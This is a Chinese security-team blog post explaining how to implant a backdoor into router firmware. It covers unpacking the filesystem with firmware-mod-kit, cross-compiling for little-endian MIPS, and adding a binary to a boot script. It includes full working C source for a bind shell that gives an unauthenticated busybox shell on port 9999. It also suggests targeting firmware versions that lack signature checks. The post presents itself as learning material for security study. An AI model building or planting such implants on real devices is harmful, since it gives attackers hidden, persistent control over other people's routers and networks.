【IOT】路由器固件后门添加

admin 2022年7月17日03:03:48评论130 views字数 4073阅读13分34秒阅读模式


【IOT】路由器固件后门添加

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

0X01前言

上一篇文章内容介绍了如何使用Firmadyne进行固件仿真Firmadyne底层基于QEMU虚拟机,该工具可以对整个固件包的系统架构进行仿真并运行固件,本文内容主要描述了对固件包进行篡改后重新打包的过程。

0X02提取固件系统

FMK简介:

固件篡改过程中会用到FMK工具-firmware-mod-kit,该工具可以利用binwalk等工具从固件中提取出文件系统,将提出的文件系统内容进行篡改后,再重新打包成新的固件包,最后将篡改后的固件包刷新设备中,安装命令如下,该工具attifyOS系统中已经部署好了,不再展开详述。

安装命令:
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git

提取固件系统:

这里我们采用extract-firmware.sh来提取固件中文件系统,打开FMK目录运行以下命令:

./extract-firmware.sh 固件包名称

【IOT】路由器固件后门添加打开提取固件完成后的目录,发现目录中存在以下文件夹:image_parts、logs、rootfs 。【IOT】路由器固件后门添加查看文件夹内容,可以看到rootfs目录包含了一个完整的文件系统,也就是添加后门的主要位置。【IOT】路由器固件后门添加

0X03 ARM、MIPS、X86架构简介

添加后门程序需要查看固件所基于的架构,如主流的ARM及MIPS等架构:

ARM

ARM是高级精简指令集的简称(Advanced RISC Machine),它是一个32位的精简指令集架构,但也配备16位指令集,一般来讲比等价32位代码节省达35%,却能保留32位系统的所有优势。ARM处理器的主要特点是:

  • 体积小、低功耗、低成本、高性能——ARM被广泛应用在嵌入式系统中的最重要的原因 支持Thumb(16位)/ARM(32位)双指令集,能很好的兼容8位/16位器件;

  • 大量使用寄存器,指令执行速度更快;

  • 大多数数据操作都在寄存器中完成;

  • 寻址方式灵活简单,执行效率高;

  • 指令长度固定。

  • Load_store结构:在RISC中,所有的计算都要求在寄存器中完成。而寄存器和内存的通信则由单独的指令来完成。而在CSIC中,CPU是可以直接对内存进行操作的。流水线处理方式。

MIPS

MIPS架构(英语:MIPS architecture,为Microprocessor without interlocked piped stages architecture的缩写,亦为Millions of Instructions Per Second的相关语),是一种采取精简指令集(RISC)的处理器架构,1981年出现,由MIPS科技公司开发并授权,广泛被使用在许多电子产品、网络设备、个人娱乐装置与商业装置上。最早的MIPS架构是32位,最新的版本已经变成64位。

MIPS的基本特点是:

  • 包含大量的寄存器、指令数和字符。

  • 可视的管道延时时隙。

这些特性使MIPS架构能够提供最高的每平方毫米性能和当今SoC设计中最低的能耗。

X86

X86架构是芯片巨头Intel设计制造的一种微处理器体系结构的统称。如果这样说你不理解,那么当我说出8086,80286等这样的词汇时,相信你肯定马上就理解了,正是基于此,X86架构这个名称被广为人知。如今,我们所用的PC绝大部分都是X86架构。可见X86架构普及程度,这也和Intel的霸主地位密切相关。x86采用CISC(Complex Instruction Set Computer,复杂指令集计算机)架构。与采用RISC不同的是,在CISC处理器中,程序的各条指令是按顺序串行执行的,每条指令中的各个操作也是按顺序串行执行的。顺序执行的优点是控制简单,但计算机各部分的利用率不高,执行速度慢。

使用readelf命令查看固件所基于的系统,发现系统架构为小端MIPS:

readelf -h busybox      //rootfs系统中任意文件执行readelf命令

【IOT】路由器固件后门添加

0X04编译后门

使用Osanda Malith开发的符合MIPS小端架构的后门并进行编译:

     #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running
busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB - march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shelln";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;

server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;

serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);

while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client,
&len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}

MIPS交叉编译环境的搭建

安装Buildroot
安装依赖库:

sudo apt-get update
sudo apt-get install libncurses5-dev patch

下载源码:

git clone https://github.com/buildroot/buildroot.git

【IOT】路由器固件后门添加

执行make list-defconfigs命令查看开发板配置【IOT】路由器固件后门添加

执行make menuconfig进行配置命令以后会出现Buildroot的编译配置界面:【IOT】路由器固件后门添加选择 Target options(目标配置)Target Architecture (MIPS (little endian)),配置 Target Architecture(目标架构)为 MIPS (little endian),Target Architecture Variant 自动配置为(Generic MIPS32),不需要修改。其实,最后生成的编译器在编译程序的时,可以添加选项供用户进行大端或者小端的设置。【IOT】路由器固件后门添加如配置交叉编译环境过程中遇到问题请参考MIPS交叉编译环境的搭建指南,直到环境搭建完成后才发现attifyOS中已部署好该环境。。。

shell文件

编译经过一段时间的编译完成以后,在Buildroot的根目录下会增加一个output文件,其中包含已经编译好的文件。【IOT】路由器固件后门添加可以在 buildroot/output/host/usr/bin目录下找到生成的交叉编译工具,mips的编译器就是该目录下的mipsel-linux-gcc。

执行mipsel-linux-gcc --version查看版本【IOT】路由器固件后门添加将上文中的后门文件bindshell.c进行编译为能够 植入文件系统的二进制文件。【IOT】路由器固件后门添加

【IOT】路由器固件后门添加

选择放置后门二进制文件的位置:/rootfs/etc/templates

【IOT】路由器固件后门添加

在/etc/scripts/system.sh脚本中调用后门二进制文件bindshell:(文章是之前写的,竟然少了个图,硬盘没带)【IOT】路由器固件后门添加

最后使用build-firmware.sh将篡改后的文件系统重新打包为新的固件包。

此处注意下测试的固件版本是否有固件签名和校验值验证等操作,如果有固件校验等操作,初学者建议换个防护性较差的低版本来作为入门练习,开始未注意固件版本爬了许多坑,查阅很多资料,最后才测试成功。

【IOT】路由器固件后门添加

0X05参考资料:

http://m.elecfans.com/article/589086.html

https://blog.csdn.net/qq1084283172/article/details/68950682

http://www.mamicode.com/info-detail-2822683.html

《揭秘家用路由器0day漏洞挖掘技术》

《IOT_PENETRATION》


E


N


D




【IOT】路由器固件后门添加


guān


zhù



men



Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

【IOT】路由器固件后门添加


【IOT】路由器固件后门添加


原文始发于微信公众号(白帽子):【IOT】路由器固件后门添加

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月17日03:03:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【IOT】路由器固件后门添加https://cn-sec.com/archives/1181252.html

发表评论

匿名网友 填写信息